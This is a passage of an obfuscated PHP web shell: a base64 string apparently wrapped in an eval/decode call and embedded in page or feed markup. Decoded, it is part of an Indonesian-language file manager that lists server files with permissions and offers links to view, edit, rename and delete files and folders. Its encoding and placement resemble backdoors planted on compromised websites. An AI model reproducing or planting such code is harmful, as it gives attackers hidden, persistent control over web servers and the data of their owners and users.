ikpIGVjaG8gJzwvZm9udD48L2NlbnRlcj48L3RkPg0KCQkJCQk8dGQ+PGNlbnRlcj4NCgkJCQkJCTxhIHRpdGxlPSJVYmFoIE5hbWEiIGNsYXNzPSJiYWRnZSIgaHJlZj0iP2Rpcj0nLiRwYXRoLicvJy4kZGlyLicmYWtzaT1yZW5hbWVfZm9sZGVyIj4mbmJzcDtVYmFoIE5hbWE8L2E+Jm5ic3A7Jm5ic3A7DQoJCQkJCQk8YSB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYmFkZ2UiIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nLycuJGRpci4nJmFrc2k9aGFwdXNfZm9sZGVyIj4mbmJzcDtIYXB1czwvYT4NCgkJCQkJPC90ZD4NCgkJCQknOw0KCQl9DQoNCgkJCWZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KDQoJCQkJDQoJCQkJaWYoIWlzX2ZpbGUoJHBhdGguJy8nLiRmaWxlKSkgY29udGludWU7DQoJCQkJJHNpemUgPSBmaWxlc2l6ZSgkcGF0aC4nLycuJGZpbGUpLzEwMjQ7DQoJCQkJJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCg0KCQkJCWlmKCRzaXplID49IDEwMjQpew0KCQkJCQkkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsMikuJyBNQic7DQoJCQkJfWVsc2V7DQoJCQkJCSRzaXplID0gJHNpemUuJyBLQic7DQoJCQkJfQ0KDQoNCgkJCQllY2hvICc8dHI+DQoJCQkJCQk8dGQ+PGltZyBzcmM9Iic7DQoJCQkJCSRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCgkJCQkJaWYoJGV4dCA9PSAicGhwIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTU4OC9waHBfdDh1Y3ZyLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImh0bWwiKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDMwL2h0bWxfZHB3cGV6LnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MzAvY3NzX3Zuc2d3bi5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJwbmciKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDMwL3BuZ192aGlzZ2IucG5nJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAianBnIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOS9qcGdfdG9rem0wLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpwZWciKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI5L2pwZWdfZ3BkYm5zLnBuZyc7DQoJCQkJCX1lbHNlaWYoJGV4dCA9PSAiemlwIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOS96aXBfY3RyeXBoLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpzIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOS9qc19kbmt0bG8ucG5nJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAidHRmIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOC90dGZfdWtpZWVxLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gIm90ZiIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0Mjgvb3RmX255eTJtZC5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI4L3R4dF9kc3N5aHEucG5nJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAiaWNvIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOC9pY29faHd6Zm9kLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImNvbmYiKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI5L2NvbmZfbHc0cXRnLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImh0YWNjZXNzIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOS9odGFjY2Vzc19vd2pvcTMucG5nJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAic2giKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI5L3NoX3VwaW5zZC5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJweSIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MjkvcHlfcHZreHVzLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInNxbCIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0Mjkvc3FsX2d3cnphcy5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJwbCIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MjkvcGxfa2hlbTZlLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInBkZiIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MjgvcGRmX3hnczB5bC5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJtcDQiKSB7DQoJCQkJCQllY2hvICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI4L21wNF90NXQwYXoucG5nJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAibXAzIikgew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyOC9tcDNfZjRlaXVwLnBuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImdpdCIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MjgvZ2l0X3N1a25lci5wbmcnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJtZCIpIHsNCgkJCQkJCWVjaG8gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2RndDFjenFseS9pbWFnZS91cGxvYWQvdjE3MjM5NTk0MjgvbWRfbjE1OG9wLnBuZyc7DQoJCQkJCX1lbHNlew0KCQkJCQkJZWNobyAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZGd0MWN6cWx5L2ltYWdlL3VwbG9hZC92MTcyMzk1OTQyNy9kb2NzX2YxeWM4ai5wbmcnOw0KCQkJCQl9DQoJCQkJCWVjaG8gJyIgY2xhc3M9ImljbzIiPjwvaW1nPic7DQoJCQkJCQ0KCQkJCQlpZiAoc3RybGVuKCRmaWxlKSA+IDI1KSB7DQoJCQkJCQkkX2ZpbGUgPSBzdWJzdHIoJGZpbGUsIDAsIDI1KS4iLi4uLS4iLiRleHQ7CQkJCQkJCQkJCQkJDQoJCQkJCX1lbHNlew0KCQkJCQkJJF9maWxlID0gJGZpbGU7DQoJCQkJCX0NCg0KCQkJCQllY2hvJyA8YSBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPXZpZXcmZGlyZj0nLiRwYXRoLicvJy4kZmlsZS4nIj4nLiRfZmlsZS4nPC9hPjwvdGQ+JzsNCgkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+JzsNCgkJCQkkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQoJCQkJCQ0KaWYoJGV4dCA9PSAicGhwIikgew0KCQkJCQkJZWNobyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAiaHRtbCIpIHsNCgkJCQkJCWVjaG8gJ3RleHQvaHRtbCc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInBuZyIpIHsNCgkJCQkJCWVjaG8gJ2ltYWdlL3BuZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpwZyIpIHsNCgkJCQkJCWVjaG8gJ2ltYWdlL2pwZyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpwZWciKSB7DQoJCQkJCQllY2hvICdpbWFnZS9qcGVnJzsNCgkJCQkJfWVsc2VpZigkZXh0ID09ICJ6aXAiKSB7DQoJCQkJCQllY2hvICdkb2t1bWVuL3ppcCc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpzIikgew0KCQkJCQkJZWNobyAndGV4dC9qcyc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInR0ZiIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gIm90ZiIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInR4dCIpIHsNCgkJCQkJCWVjaG8gJ3RleHQvdHh0JzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAiaWNvIikgew0KCQkJCQkJZWNobyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAiY29uZiIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gImh0YWNjZXNzIikgew0KCQkJCQkJZWNobyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAic2giKSB7DQoJCQkJCQllY2hvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJweSIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInNxbCIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlaWYgKCRleHQgPT0gInBsIikgew0KCQkJCQkJZWNobyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGRmIikgew0KCQkJCQkJZWNobyAnZG9rdW1lbi9wZGYnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJtcDQiKSB7DQoJCQkJCQllY2hvICdtZWRpYS9tcDQnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJtcDMiKSB7DQoJCQkJCQllY2hvICdtZWRpYS9tcDMnOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJnaXQiKSB7DQoJCQkJCQllY2hvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJtZCIpIHsNCgkJCQkJCWVjaG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQoJCQkJCX1lbHNlew0KCQkJCQkJZWNobyAnZG9rdW1lbi9kb2NzJzsNCgkJCQkJfQ0KCQkJCQllY2hvICc8L3RkPg0KCQkJCQk8dGQ+PGNlbnRlcj4nLiRzaXplLic8L2NlbnRlcj48L3RkPg0KCQkJCQk8dGQ+PGNlbnRlcj4nOw0KCQkJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsNCgkJCQkJZWxzZWlmKCFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KCQkJCQllY2hvIHBlcm1zKCRwYXRoLicvJy4kZmlsZSk7DQoJCQkJCWlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZmlsZSkgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8gJzwvZm9udD4NCgkJCQkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQoJCQkJCQk8YSB0aXRsZT0iTGloYXQiIGNsYXNzPSJiYWRnZSIgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT12aWV3JmRpcmY9Jy4kcGF0aC4nLycuJGZpbGUuJyI+TGloYXQ8L2E+DQoJCQkJCQk8YSB0aXRsZT0iRWRpdCIgY2xhc3M9ImJhZGdlIiBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPWVkaXQmZGlyZj0nLiRwYXRoLicvJy4kZmlsZS4nIj5FZGl0PC9hPg0KCQkJCQkJPGEgdGl0bGU9IkVkaXQiIGNsYXNzPSJiYWRnZSIgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT1yZW5hbWUmZGlyZj0nLiRwYXRoLicvJy4kZmlsZS4nIj5VYmFoIE5hbWE8L2E+DQoJCQkJCQk8YSBjbGFzcz0iYmFkZ2UiIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJmFrc2k9aGFwdXNmJmRpcmY9Jy4kcGF0aC4nLycuJGZpbGUuJyIgdGl0bGU9IkRlbGV0ZSI+SGFwdXM8L2E+DQoJCQkJCTwvdGQ+DQoJCQkJPC90cj4nOw0KCQkJfQ0KCQllY2hvICc8L3RhYmxlPjwvZGl2Pjxoci8+JzsNCgkJZWNobyAiPGEgaHJlZj0nJyBjbGFzcz0nc2Nyb2xsVG9Ub3AnPjxpIGNsYXNzPSdmYXMgZmEtYXJyb3ctdXAgdXAnPjwvaT48L2E+IjsNCgkJZWNobyAnPGNlbnRlcj48c21hbGw+Q29weXJpZ2h0IGFsbCByaWdodCByZXNlcnZlZCAnLmRhdGUoJ00tWScpLicgPGEgaHJlZj0iIyI+SkFOR0FOIEdBTkdHVTwvYT48L3NtYWxsPjwvY2VudGVyPic7DQo/Pg==”)); ?>

]]>